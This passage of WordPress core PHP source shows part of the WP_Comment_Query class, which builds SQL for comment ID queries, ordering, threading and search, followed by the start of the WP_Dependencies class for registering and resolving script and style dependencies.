		 * @param WP_Comment[]     $_comments An array of comments.
		 * @param WP_Comment_Query $query     Current instance of WP_Comment_Query (passed by reference).
		 */
		$_comments = apply_filters_ref_array( 'the_comments', array( $_comments, &$this ) );

		// Convert to WP_Comment instances.
		$comments = array_map( 'get_comment', $_comments );

		if ( $this->query_vars['hierarchical'] ) {
			$comments = $this->fill_descendants( $comments );
		}

		$this->comments = $comments;
		return $this->comments;
	}

	/**
	 * Used internally to get a list of comment IDs matching the query vars.
	 *
	 * @since 4.4.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @return int|array A single count of comment IDs if a count query. An array of comment IDs if a full query.
	 */
	protected function get_comment_ids() {
		global $wpdb;

		// Assemble clauses related to 'comment_approved'.
		$approved_clauses = array();

		// 'status' accepts an array or a comma-separated string.
		$status_clauses = array();
		$statuses       = wp_parse_list( $this->query_vars['status'] );

		// Empty 'status' should be interpreted as 'all'.
		if ( empty( $statuses ) ) {
			$statuses = array( 'all' );
		}

		// 'any' overrides other statuses.
		if ( ! in_array( 'any', $statuses, true ) ) {
			foreach ( $statuses as $status ) {
				switch ( $status ) {
					case 'hold':
						$status_clauses[] = "comment_approved = '0'";
						break;

					case 'approve':
						$status_clauses[] = "comment_approved = '1'";
						break;

					case 'all':
					case '':
						$status_clauses[] = "( comment_approved = '0' OR comment_approved = '1' )";
						break;

					default:
						$status_clauses[] = $wpdb->prepare( 'comment_approved = %s', $status );
						break;
				}
			}

			if ( ! empty( $status_clauses ) ) {
				$approved_clauses[] = '( ' . implode( ' OR ', $status_clauses ) . ' )';
			}
		}

		// User IDs or emails whose unapproved comments are included, regardless of $status.
		if ( ! empty( $this->query_vars['include_unapproved'] ) ) {
			$include_unapproved = wp_parse_list( $this->query_vars['include_unapproved'] );

			foreach ( $include_unapproved as $unapproved_identifier ) {
				// Numeric values are assumed to be user IDs.
				if ( is_numeric( $unapproved_identifier ) ) {
					$approved_clauses[] = $wpdb->prepare( "( user_id = %d AND comment_approved = '0' )", $unapproved_identifier );
				} else {
					// Otherwise we match against email addresses.
					if ( ! empty( $_GET['unapproved'] ) && ! empty( $_GET['moderation-hash'] ) ) {
						// Only include requested comment.
						$approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' AND {$wpdb->comments}.comment_ID = %d )", $unapproved_identifier, (int) $_GET['unapproved'] );
					} else {
						// Include all of the author's unapproved comments.
						$approved_clauses[] = $wpdb->prepare( "( comment_author_email = %s AND comment_approved = '0' )", $unapproved_identifier );
					}
				}
			}
		}

		// Collapse comment_approved clauses into a single OR-separated clause.
		if ( ! empty( $approved_clauses ) ) {
			if ( 1 === count( $approved_clauses ) ) {
				$this->sql_clauses['where']['approved'] = $approved_clauses[0];
			} else {
				$this->sql_clauses['where']['approved'] = '( ' . implode( ' OR ', $approved_clauses ) . ' )';
			}
		}

		$order = ( 'ASC' === strtoupper( $this->query_vars['order'] ) ) ? 'ASC' : 'DESC';

		// Disable ORDER BY with 'none', an empty array, or boolean false.
		if ( in_array( $this->query_vars['orderby'], array( 'none', array(), false ), true ) ) {
			$orderby = '';
		} elseif ( ! empty( $this->query_vars['orderby'] ) ) {
			$ordersby = is_array( $this->query_vars['orderby'] ) ?
				$this->query_vars['orderby'] :
				preg_split( '/[,\s]/', $this->query_vars['orderby'] );

			$orderby_array            = array();
			$found_orderby_comment_id = false;
			foreach ( $ordersby as $_key => $_value ) {
				if ( ! $_value ) {
					continue;
				}

				if ( is_int( $_key ) ) {
					$_orderby = $_value;
					$_order   = $order;
				} else {
					$_orderby = $_key;
					$_order   = $_value;
				}

				if ( ! $found_orderby_comment_id && in_array( $_orderby, array( 'comment_ID', 'comment__in' ), true ) ) {
					$found_orderby_comment_id = true;
				}

				$parsed = $this->parse_orderby( $_orderby );

				if ( ! $parsed ) {
					continue;
				}

				if ( 'comment__in' === $_orderby ) {
					$orderby_array[] = $parsed;
					continue;
				}

				$orderby_array[] = $parsed . ' ' . $this->parse_order( $_order );
			}

			// If no valid clauses were found, order by comment_date_gmt.
			if ( empty( $orderby_array ) ) {
				$orderby_array[] = "$wpdb->comments.comment_date_gmt $order";
			}

			// To ensure determinate sorting, always include a comment_ID clause.
			if ( ! $found_orderby_comment_id ) {
				$comment_id_order = '';

				// Inherit order from comment_date or comment_date_gmt, if available.
				foreach ( $orderby_array as $orderby_clause ) {
					if ( preg_match( '/comment_date(?:_gmt)*\ (ASC|DESC)/', $orderby_clause, $match ) ) {
						$comment_id_order = $match[1];
						break;
					}
				}

				// If no date-related order is available, use the date from the first available clause.
				if ( ! $comment_id_order ) {
					foreach ( $orderby_array as $orderby_clause ) {
						if ( str_contains( 'ASC', $orderby_clause ) ) {
							$comment_id_order = 'ASC';
						} else {
							$comment_id_order = 'DESC';
						}

						break;
					}
				}

				// Default to DESC.
				if ( ! $comment_id_order ) {
					$comment_id_order = 'DESC';
				}

				$orderby_array[] = "$wpdb->comments.comment_ID $comment_id_order";
			}

			$orderby = implode( ', ', $orderby_array );
		} else {
			$orderby = "$wpdb->comments.comment_date_gmt $order";
		}

		$number = absint( $this->query_vars['number'] );
		$offset = absint( $this->query_vars['offset'] );
		$paged  = absint( $this->query_vars['paged'] );
		$limits = '';

		if ( ! empty( $number ) ) {
			if ( $offset ) {
				$limits = 'LIMIT ' . $offset . ',' . $number;
			} else {
				$limits = 'LIMIT ' . ( $number * ( $paged - 1 ) ) . ',' . $number;
			}
		}

		if ( $this->query_vars['count'] ) {
			$fields = 'COUNT(*)';
		} else {
			$fields = "$wpdb->comments.comment_ID";
		}

		$post_id = absint( $this->query_vars['post_id'] );
		if ( ! empty( $post_id ) ) {
			$this->sql_clauses['where']['post_id'] = $wpdb->prepare( 'comment_post_ID = %d', $post_id );
		}

		// Parse comment IDs for an IN clause.
		if ( ! empty( $this->query_vars['comment__in'] ) ) {
			$this->sql_clauses['where']['comment__in'] = "$wpdb->comments.comment_ID IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__in'] ) ) . ' )';
		}

		// Parse comment IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['comment__not_in'] ) ) {
			$this->sql_clauses['where']['comment__not_in'] = "$wpdb->comments.comment_ID NOT IN ( " . implode( ',', wp_parse_id_list( $this->query_vars['comment__not_in'] ) ) . ' )';
		}

		// Parse comment parent IDs for an IN clause.
		if ( ! empty( $this->query_vars['parent__in'] ) ) {
			$this->sql_clauses['where']['parent__in'] = 'comment_parent IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__in'] ) ) . ' )';
		}

		// Parse comment parent IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['parent__not_in'] ) ) {
			$this->sql_clauses['where']['parent__not_in'] = 'comment_parent NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['parent__not_in'] ) ) . ' )';
		}

		// Parse comment post IDs for an IN clause.
		if ( ! empty( $this->query_vars['post__in'] ) ) {
			$this->sql_clauses['where']['post__in'] = 'comment_post_ID IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__in'] ) ) . ' )';
		}

		// Parse comment post IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['post__not_in'] ) ) {
			$this->sql_clauses['where']['post__not_in'] = 'comment_post_ID NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post__not_in'] ) ) . ' )';
		}

		if ( '' !== $this->query_vars['author_email'] ) {
			$this->sql_clauses['where']['author_email'] = $wpdb->prepare( 'comment_author_email = %s', $this->query_vars['author_email'] );
		}

		if ( '' !== $this->query_vars['author_url'] ) {
			$this->sql_clauses['where']['author_url'] = $wpdb->prepare( 'comment_author_url = %s', $this->query_vars['author_url'] );
		}

		if ( '' !== $this->query_vars['karma'] ) {
			$this->sql_clauses['where']['karma'] = $wpdb->prepare( 'comment_karma = %d', $this->query_vars['karma'] );
		}

		// Filtering by comment_type: 'type', 'type__in', 'type__not_in'.
		$raw_types = array(
			'IN'     => array_merge( (array) $this->query_vars['type'], (array) $this->query_vars['type__in'] ),
			'NOT IN' => (array) $this->query_vars['type__not_in'],
		);

		$comment_types = array();
		foreach ( $raw_types as $operator => $_raw_types ) {
			$_raw_types = array_unique( $_raw_types );

			foreach ( $_raw_types as $type ) {
				switch ( $type ) {
					// An empty translates to 'all', for backward compatibility.
					case '':
					case 'all':
						break;

					case 'comment':
					case 'comments':
						$comment_types[ $operator ][] = "''";
						$comment_types[ $operator ][] = "'comment'";
						break;

					case 'pings':
						$comment_types[ $operator ][] = "'pingback'";
						$comment_types[ $operator ][] = "'trackback'";
						break;

					default:
						$comment_types[ $operator ][] = $wpdb->prepare( '%s', $type );
						break;
				}
			}

			if ( ! empty( $comment_types[ $operator ] ) ) {
				$types_sql = implode( ', ', $comment_types[ $operator ] );
				$this->sql_clauses['where'][ 'comment_type__' . strtolower( str_replace( ' ', '_', $operator ) ) ] = "comment_type $operator ($types_sql)";
			}
		}

		$parent = $this->query_vars['parent'];
		if ( $this->query_vars['hierarchical'] && ! $parent ) {
			$parent = 0;
		}

		if ( '' !== $parent ) {
			$this->sql_clauses['where']['parent'] = $wpdb->prepare( 'comment_parent = %d', $parent );
		}

		if ( is_array( $this->query_vars['user_id'] ) ) {
			$this->sql_clauses['where']['user_id'] = 'user_id IN (' . implode( ',', array_map( 'absint', $this->query_vars['user_id'] ) ) . ')';
		} elseif ( '' !== $this->query_vars['user_id'] ) {
			$this->sql_clauses['where']['user_id'] = $wpdb->prepare( 'user_id = %d', $this->query_vars['user_id'] );
		}

		// Falsey search strings are ignored.
		if ( isset( $this->query_vars['search'] ) && strlen( $this->query_vars['search'] ) ) {
			$search_sql = $this->get_search_sql(
				$this->query_vars['search'],
				array( 'comment_author', 'comment_author_email', 'comment_author_url', 'comment_author_IP', 'comment_content' )
			);

			// Strip leading 'AND'.
			$this->sql_clauses['where']['search'] = preg_replace( '/^\s*AND\s*/', '', $search_sql );
		}

		// If any post-related query vars are passed, join the posts table.
		$join_posts_table = false;
		$plucked          = wp_array_slice_assoc( $this->query_vars, array( 'post_author', 'post_name', 'post_parent' ) );
		$post_fields      = array_filter( $plucked );

		if ( ! empty( $post_fields ) ) {
			$join_posts_table = true;
			foreach ( $post_fields as $field_name => $field_value ) {
				// $field_value may be an array.
				$esses = array_fill( 0, count( (array) $field_value ), '%s' );

				// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
				$this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $field_value );
			}
		}

		// 'post_status' and 'post_type' are handled separately, due to the specialized behavior of 'any'.
		foreach ( array( 'post_status', 'post_type' ) as $field_name ) {
			$q_values = array();
			if ( ! empty( $this->query_vars[ $field_name ] ) ) {
				$q_values = $this->query_vars[ $field_name ];
				if ( ! is_array( $q_values ) ) {
					$q_values = explode( ',', $q_values );
				}

				// 'any' will cause the query var to be ignored.
				if ( in_array( 'any', $q_values, true ) || empty( $q_values ) ) {
					continue;
				}

				$join_posts_table = true;

				$esses = array_fill( 0, count( $q_values ), '%s' );

				// phpcs:ignore WordPress.DB.PreparedSQLPlaceholders.UnfinishedPrepare
				$this->sql_clauses['where'][ $field_name ] = $wpdb->prepare( " {$wpdb->posts}.{$field_name} IN (" . implode( ',', $esses ) . ')', $q_values );
			}
		}

		// Comment author IDs for an IN clause.
		if ( ! empty( $this->query_vars['author__in'] ) ) {
			$this->sql_clauses['where']['author__in'] = 'user_id IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__in'] ) ) . ' )';
		}

		// Comment author IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['author__not_in'] ) ) {
			$this->sql_clauses['where']['author__not_in'] = 'user_id NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['author__not_in'] ) ) . ' )';
		}

		// Post author IDs for an IN clause.
		if ( ! empty( $this->query_vars['post_author__in'] ) ) {
			$join_posts_table                              = true;
			$this->sql_clauses['where']['post_author__in'] = 'post_author IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__in'] ) ) . ' )';
		}

		// Post author IDs for a NOT IN clause.
		if ( ! empty( $this->query_vars['post_author__not_in'] ) ) {
			$join_posts_table                                  = true;
			$this->sql_clauses['where']['post_author__not_in'] = 'post_author NOT IN ( ' . implode( ',', wp_parse_id_list( $this->query_vars['post_author__not_in'] ) ) . ' )';
		}

		$join    = '';
		$groupby = '';

		if ( $join_posts_table ) {
			$join .= "JOIN $wpdb->posts ON $wpdb->posts.ID = $wpdb->comments.comment_post_ID";
		}

		if ( ! empty( $this->meta_query_clauses ) ) {
			$join .= $this->meta_query_clauses['join'];

			// Strip leading 'AND'.
			$this->sql_clauses['where']['meta_query'] = preg_replace( '/^\s*AND\s*/', '', $this->meta_query_clauses['where'] );

			if ( ! $this->query_vars['count'] ) {
				$groupby = "{$wpdb->comments}.comment_ID";
			}
		}

		if ( ! empty( $this->query_vars['date_query'] ) && is_array( $this->query_vars['date_query'] ) ) {
			$this->date_query = new WP_Date_Query( $this->query_vars['date_query'], 'comment_date' );

			// Strip leading 'AND'.
			$this->sql_clauses['where']['date_query'] = preg_replace( '/^\s*AND\s*/', '', $this->date_query->get_sql() );
		}

		$where = implode( ' AND ', $this->sql_clauses['where'] );

		$pieces = array( 'fields', 'join', 'where', 'orderby', 'limits', 'groupby' );

		/**
		 * Filters the comment query clauses.
		 *
		 * @since 3.1.0
		 *
		 * @param string[]         $clauses An associative array of comment query clauses.
		 * @param WP_Comment_Query $query   Current instance of WP_Comment_Query (passed by reference).
		 */
		$clauses = apply_filters_ref_array( 'comments_clauses', array( compact( $pieces ), &$this ) );

		$fields  = isset( $clauses['fields'] ) ? $clauses['fields'] : '';
		$join    = isset( $clauses['join'] ) ? $clauses['join'] : '';
		$where   = isset( $clauses['where'] ) ? $clauses['where'] : '';
		$orderby = isset( $clauses['orderby'] ) ? $clauses['orderby'] : '';
		$limits  = isset( $clauses['limits'] ) ? $clauses['limits'] : '';
		$groupby = isset( $clauses['groupby'] ) ? $clauses['groupby'] : '';

		$this->filtered_where_clause = $where;

		if ( $where ) {
			$where = 'WHERE ' . $where;
		}

		if ( $groupby ) {
			$groupby = 'GROUP BY ' . $groupby;
		}

		if ( $orderby ) {
			$orderby = "ORDER BY $orderby";
		}

		$found_rows = '';
		if ( ! $this->query_vars['no_found_rows'] ) {
			$found_rows = 'SQL_CALC_FOUND_ROWS';
		}

		$this->sql_clauses['select']  = "SELECT $found_rows $fields";
		$this->sql_clauses['from']    = "FROM $wpdb->comments $join";
		$this->sql_clauses['groupby'] = $groupby;
		$this->sql_clauses['orderby'] = $orderby;
		$this->sql_clauses['limits']  = $limits;

		// Beginning of the string is on a new line to prevent leading whitespace. See https://core.trac.wordpress.org/ticket/56841.
		$this->request =
			"{$this->sql_clauses['select']}
			 {$this->sql_clauses['from']}
			 {$where}
			 {$this->sql_clauses['groupby']}
			 {$this->sql_clauses['orderby']}
			 {$this->sql_clauses['limits']}";

		if ( $this->query_vars['count'] ) {
			return (int) $wpdb->get_var( $this->request );
		} else {
			$comment_ids = $wpdb->get_col( $this->request );
			return array_map( 'intval', $comment_ids );
		}
	}

	/**
	 * Populates found_comments and max_num_pages properties for the current
	 * query if the limit clause was used.
	 *
	 * @since 4.6.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 */
	private function set_found_comments() {
		global $wpdb;

		if ( $this->query_vars['number'] && ! $this->query_vars['no_found_rows'] ) {
			/**
			 * Filters the query used to retrieve found comment count.
			 *
			 * @since 4.4.0
			 *
			 * @param string           $found_comments_query SQL query. Default 'SELECT FOUND_ROWS()'.
			 * @param WP_Comment_Query $comment_query        The `WP_Comment_Query` instance.
			 */
			$found_comments_query = apply_filters( 'found_comments_query', 'SELECT FOUND_ROWS()', $this );

			$this->found_comments = (int) $wpdb->get_var( $found_comments_query );
		}
	}

	/**
	 * Fetch descendants for located comments.
	 *
	 * Instead of calling `get_children()` separately on each child comment, we do a single set of queries to fetch
	 * the descendant trees for all matched top-level comments.
	 *
	 * @since 4.4.0
	 *
	 * @param WP_Comment[] $comments Array of top-level comments whose descendants should be filled in.
	 * @return array
	 */
	protected function fill_descendants( $comments ) {
		$levels = array(
			0 => wp_list_pluck( $comments, 'comment_ID' ),
		);

		$key          = md5( serialize( wp_array_slice_assoc( $this->query_vars, array_keys( $this->query_var_defaults ) ) ) );
		$last_changed = wp_cache_get_last_changed( 'comment' );

		// Fetch an entire level of the descendant tree at a time.
		$level        = 0;
		$exclude_keys = array( 'parent', 'parent__in', 'parent__not_in' );
		do {
			// Parent-child relationships may be cached. Only query for those that are not.
			$child_ids           = array();
			$uncached_parent_ids = array();
			$_parent_ids         = $levels[ $level ];
			if ( $_parent_ids ) {
				$cache_keys = array();
				foreach ( $_parent_ids as $parent_id ) {
					$cache_keys[ $parent_id ] = "get_comment_child_ids:$parent_id:$key:$last_changed";
				}
				$cache_data = wp_cache_get_multiple( array_values( $cache_keys ), 'comment-queries' );
				foreach ( $_parent_ids as $parent_id ) {
					$parent_child_ids = $cache_data[ $cache_keys[ $parent_id ] ];
					if ( false !== $parent_child_ids ) {
						$child_ids = array_merge( $child_ids, $parent_child_ids );
					} else {
						$uncached_parent_ids[] = $parent_id;
					}
				}
			}

			if ( $uncached_parent_ids ) {
				// Fetch this level of comments.
				$parent_query_args = $this->query_vars;
				foreach ( $exclude_keys as $exclude_key ) {
					$parent_query_args[ $exclude_key ] = '';
				}
				$parent_query_args['parent__in']    = $uncached_parent_ids;
				$parent_query_args['no_found_rows'] = true;
				$parent_query_args['hierarchical']  = false;
				$parent_query_args['offset']        = 0;
				$parent_query_args['number']        = 0;

				$level_comments = get_comments( $parent_query_args );

				// Cache parent-child relationships.
				$parent_map = array_fill_keys( $uncached_parent_ids, array() );
				foreach ( $level_comments as $level_comment ) {
					$parent_map[ $level_comment->comment_parent ][] = $level_comment->comment_ID;
					$child_ids[]                                    = $level_comment->comment_ID;
				}

				$data = array();
				foreach ( $parent_map as $parent_id => $children ) {
					$cache_key          = "get_comment_child_ids:$parent_id:$key:$last_changed";
					$data[ $cache_key ] = $children;
				}
				wp_cache_set_multiple( $data, 'comment-queries' );
			}

			++$level;
			$levels[ $level ] = $child_ids;
		} while ( $child_ids );

		// Prime comment caches for non-top-level comments.
		$descendant_ids = array();
		for ( $i = 1, $c = count( $levels ); $i < $c; $i++ ) {
			$descendant_ids = array_merge( $descendant_ids, $levels[ $i ] );
		}

		_prime_comment_caches( $descendant_ids, $this->query_vars['update_comment_meta_cache'] );

		// Assemble a flat array of all comments + descendants.
		$all_comments = $comments;
		foreach ( $descendant_ids as $descendant_id ) {
			$all_comments[] = get_comment( $descendant_id );
		}

		// If a threaded representation was requested, build the tree.
		if ( 'threaded' === $this->query_vars['hierarchical'] ) {
			$threaded_comments = array();
			$ref               = array();
			foreach ( $all_comments as $k => $c ) {
				$_c = get_comment( $c->comment_ID );

				// If the comment isn't in the reference array, it goes in the top level of the thread.
				if ( ! isset( $ref[ $c->comment_parent ] ) ) {
					$threaded_comments[ $_c->comment_ID ] = $_c;
					$ref[ $_c->comment_ID ]               = $threaded_comments[ $_c->comment_ID ];

					// Otherwise, set it as a child of its parent.
				} else {

					$ref[ $_c->comment_parent ]->add_child( $_c );
					$ref[ $_c->comment_ID ] = $ref[ $_c->comment_parent ]->get_child( $_c->comment_ID );
				}
			}

			// Set the 'populated_children' flag, to ensure additional database queries aren't run.
			foreach ( $ref as $_ref ) {
				$_ref->populated_children( true );
			}

			$comments = $threaded_comments;
		} else {
			$comments = $all_comments;
		}

		return $comments;
	}

	/**
	 * Used internally to generate an SQL string for searching across multiple columns.
	 *
	 * @since 3.1.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string   $search  Search string.
	 * @param string[] $columns Array of columns to search.
	 * @return string Search SQL.
	 */
	protected function get_search_sql( $search, $columns ) {
		global $wpdb;

		$like = '%' . $wpdb->esc_like( $search ) . '%';

		$searches = array();
		foreach ( $columns as $column ) {
			$searches[] = $wpdb->prepare( "$column LIKE %s", $like );
		}

		return ' AND (' . implode( ' OR ', $searches ) . ')';
	}

	/**
	 * Parse and sanitize 'orderby' keys passed to the comment query.
	 *
	 * @since 4.2.0
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $orderby Alias for the field to order by.
	 * @return string|false Value to used in the ORDER clause. False otherwise.
	 */
	protected function parse_orderby( $orderby ) {
		global $wpdb;

		$allowed_keys = array(
			'comment_agent',
			'comment_approved',
			'comment_author',
			'comment_author_email',
			'comment_author_IP',
			'comment_author_url',
			'comment_content',
			'comment_date',
			'comment_date_gmt',
			'comment_ID',
			'comment_karma',
			'comment_parent',
			'comment_post_ID',
			'comment_type',
			'user_id',
		);

		if ( ! empty( $this->query_vars['meta_key'] ) ) {
			$allowed_keys[] = $this->query_vars['meta_key'];
			$allowed_keys[] = 'meta_value';
			$allowed_keys[] = 'meta_value_num';
		}

		$meta_query_clauses = $this->meta_query->get_clauses();
		if ( $meta_query_clauses ) {
			$allowed_keys = array_merge( $allowed_keys, array_keys( $meta_query_clauses ) );
		}

		$parsed = false;
		if ( $this->query_vars['meta_key'] === $orderby || 'meta_value' === $orderby ) {
			$parsed = "$wpdb->commentmeta.meta_value";
		} elseif ( 'meta_value_num' === $orderby ) {
			$parsed = "$wpdb->commentmeta.meta_value+0";
		} elseif ( 'comment__in' === $orderby ) {
			$comment__in = implode( ',', array_map( 'absint', $this->query_vars['comment__in'] ) );
			$parsed      = "FIELD( {$wpdb->comments}.comment_ID, $comment__in )";
		} elseif ( in_array( $orderby, $allowed_keys, true ) ) {

			if ( isset( $meta_query_clauses[ $orderby ] ) ) {
				$meta_clause = $meta_query_clauses[ $orderby ];
				$parsed      = sprintf( 'CAST(%s.meta_value AS %s)', esc_sql( $meta_clause['alias'] ), esc_sql( $meta_clause['cast'] ) );
			} else {
				$parsed = "$wpdb->comments.$orderby";
			}
		}

		return $parsed;
	}

	/**
	 * Parse an 'order' query variable and cast it to ASC or DESC as necessary.
	 *
	 * @since 4.2.0
	 *
	 * @param string $order The 'order' query variable.
	 * @return string The sanitized 'order' query variable.
	 */
	protected function parse_order( $order ) {
		if ( ! is_string( $order ) || empty( $order ) ) {
			return 'DESC';
		}

		if ( 'ASC' === strtoupper( $order ) ) {
			return 'ASC';
		} else {
			return 'DESC';
		}
	}
}
<?php
/**
 * Dependencies API: WP_Dependencies base class
 *
 * @since 2.6.0
 *
 * @package WordPress
 * @subpackage Dependencies
 */

/**
 * Core base class extended to register items.
 *
 * @since 2.6.0
 *
 * @see _WP_Dependency
 */
#[AllowDynamicProperties]
class WP_Dependencies {
	/**
	 * An array of all registered dependencies keyed by handle.
	 *
	 * @since 2.6.8
	 *
	 * @var _WP_Dependency[]
	 */
	public $registered = array();

	/**
	 * An array of handles of queued dependencies.
	 *
	 * @since 2.6.8
	 *
	 * @var string[]
	 */
	public $queue = array();

	/**
	 * An array of handles of dependencies to queue.
	 *
	 * @since 2.6.0
	 *
	 * @var string[]
	 */
	public $to_do = array();

	/**
	 * An array of handles of dependencies already queued.
	 *
	 * @since 2.6.0
	 *
	 * @var string[]
	 */
	public $done = array();

	/**
	 * An array of additional arguments passed when a handle is registered.
	 *
	 * Arguments are appended to the item query string.
	 *
	 * @since 2.6.0
	 *
	 * @var array
	 */
	public $args = array();

	/**
	 * An array of dependency groups to enqueue.
	 *
	 * Each entry is keyed by handle and represents the integer group level or boolean
	 * false if the handle has no group.
	 *
	 * @since 2.8.0
	 *
	 * @var (int|false)[]
	 */
	public $groups = array();

	/**
	 * A handle group to enqueue.
	 *
	 * @since 2.8.0
	 *
	 * @deprecated 4.5.0
	 * @var int
	 */
	public $group = 0;

	/**
	 * Cached lookup array of flattened queued items and dependencies.
	 *
	 * @since 5.4.0
	 *
	 * @var array
	 */
	private $all_queued_deps;

	/**
	 * List of assets enqueued before details were registered.
	 *
	 * @since 5.9.0
	 *
	 * @var array
	 */
	private $queued_before_register = array();

	/**
	 * Processes the items and dependencies.
	 *
	 * Processes the items passed to it or the queue, and their dependencies.
	 *
	 * @since 2.6.0
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[]|false $handles Optional. Items to be processed: queue (false),
	 *                                       single item (string), or multiple items (array of strings).
	 *                                       Default false.
	 * @param int|false             $group   Optional. Group level: level (int), no group (false).
	 * @return string[] Array of handles of items that have been processed.
	 */
	public function do_items( $handles = false, $group = false ) {
		/*
		 * If nothing is passed, print the queue. If a string is passed,
		 * print that item. If an array is passed, print those items.
		 */
		$handles = false === $handles ? $this->queue : (array) $handles;
		$this->all_deps( $handles );

		foreach ( $this->to_do as $key => $handle ) {
			if ( ! in_array( $handle, $this->done, true ) && isset( $this->registered[ $handle ] ) ) {
				/*
				 * Attempt to process the item. If successful,
				 * add the handle to the done array.
				 *
				 * Unset the item from the to_do array.
				 */
				if ( $this->do_item( $handle, $group ) ) {
					$this->done[] = $handle;
				}

				unset( $this->to_do[ $key ] );
			}
		}

		return $this->done;
	}

	/**
	 * Processes a dependency.
	 *
	 * @since 2.6.0
	 * @since 5.5.0 Added the `$group` parameter.
	 *
	 * @param string    $handle Name of the item. Should be unique.
	 * @param int|false $group  Optional. Group level: level (int), no group (false).
	 *                          Default false.
	 * @return bool True on success, false if not set.
	 */
	public function do_item( $handle, $group = false ) {
		return isset( $this->registered[ $handle ] );
	}

	/**
	 * Determines dependencies.
	 *
	 * Recursively builds an array of items to process taking
	 * dependencies into account. Does NOT catch infinite loops.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 * @since 2.8.0 Added the `$group` parameter.
	 *
	 * @param string|string[] $handles   Item handle (string) or item handles (array of strings).
	 * @param bool            $recursion Optional. Internal flag that function is calling itself.
	 *                                   Default false.
	 * @param int|false       $group     Optional. Group level: level (int), no group (false).
	 *                                   Default false.
	 * @return bool True on success, false on failure.
	 */
	public function all_deps( $handles, $recursion = false, $group = false ) {
		$handles = (array) $handles;
		if ( ! $handles ) {
			return false;
		}

		foreach ( $handles as $handle ) {
			$handle_parts = explode( '?', $handle );
			$handle       = $handle_parts[0];
			$queued       = in_array( $handle, $this->to_do, true );

			if ( in_array( $handle, $this->done, true ) ) { // Already done.
				continue;
			}

			$moved     = $this->set_group( $handle, $recursion, $group );
			$new_group = $this->groups[ $handle ];

			if ( $queued && ! $moved ) { // Already queued and in the right group.
				continue;
			}

			$keep_going = true;
			if ( ! isset( $this->registered[ $handle ] ) ) {
				$keep_going = false; // Item doesn't exist.
			} elseif ( $this->registered[ $handle ]->deps && array_diff( $this->registered[ $handle ]->deps, array_keys( $this->registered ) ) ) {
				$keep_going = false; // Item requires dependencies that don't exist.
			} elseif ( $this->registered[ $handle ]->deps && ! $this->all_deps( $this->registered[ $handle ]->deps, true, $new_group ) ) {
				$keep_going = false; // Item requires dependencies that don't exist.
			}

			if ( ! $keep_going ) { // Either item or its dependencies don't exist.
				if ( $recursion ) {
					return false; // Abort this branch.
				} else {
					continue; // We're at the top level. Move on to the next one.
				}
			}

			if ( $queued ) { // Already grabbed it and its dependencies.
				continue;
			}

			if ( isset( $handle_parts[1] ) ) {
				$this->args[ $handle ] = $handle_parts[1];
			}

			$this->to_do[] = $handle;
		}

		return true;
	}

	/**
	 * Register an item.
	 *
	 * Registers the item if no item of that name already exists.
	 *
	 * @since 2.1.0
	 * @since 2.6.0 Moved from `WP_Scripts`.
	 *
	 * @param string           $handle Name of the item. Should be unique.
	 * @param string|false     $src    Full URL of the item, or path of the item relative
	 *                                 to the WordPress root directory. If source is set to false,
	 *                                 the item is an alias of other items it depends on.
	 * @param string[]         $deps   Optional. An array of registered item handles this item depends on.
	 *                                 Default empty array.
	 * @param string|bool|null $ver    Optional. String specifying item version number, if it has one,
	 *                                 which is added to the URL as a query string for cache busting purposes.
	 *                                 If version is set to false, a version number is automatically added
	 *                                 equal to current installed WordPress version.
	 *                                 If set to null, no version is added.
	 * @param mixed            $args   Optional. Custom property of the item. NOT the class property $args.
	 *                                 Examples: $media, $in_footer.
	 * @return bool Whether the item has been registered. True on success, false on failure.
	 */
	public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) {
		if ( isset( $this->registered[ $handle ] ) ) {
			return false;
		}
		$this->registered[ $handle ] = new _WP_Dependency( $handle, $src, $deps, $ver, $args );

		// If the item was enqueued before the details were registered, enqueue it now.
		if ( array_key_exists( $handle, $this->queued_before_register ) ) {
			if ( ! is_null( $this->queued_before_register[ $handle ] ) ) {
				$this->enqueue( $handle . '?' . $this->queued_before_register[ $handle ] );
			} else {
				$this->enqueue( $handle );
			}

			unset( $this->queued_before_register[ $handle ] );
		}

		return true;
	}

	/**
	 * Add extra item data.
	 *
	 * Adds data to a registered item.
	 *
	 * @since 2.6.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @param mixed  $value  The data value.
	 * @return bool True on success, false on failure.
	 */
	public function add_data( $handle, $key, $value ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		return $this->registered[ $handle ]->add_data( $key, $value );
	}

	/**
	 * Get extra item data.
	 *
	 * Gets data associated with a registered item.
	 *
	 * @since 3.3.0
	 *
	 * @param string $handle Name of the item. Should be unique.
	 * @param string $key    The data key.
	 * @return mixed Extra item data (string), false otherwise.
	 */
	public function get_data( $handle, $key ) {
		if ( ! isset( $this->registered[ $handle ] ) ) {
			return false;
		}

		if ( ! isset( $this->registered[ $handle ]->extra[ $key ] ) ) {
			return false;
		}

		return $this->registered[ $handle ]->extra[ $key ];
	}

	/**
	 * Un-register an item or items.
	 *
	 * @since 2.1.0
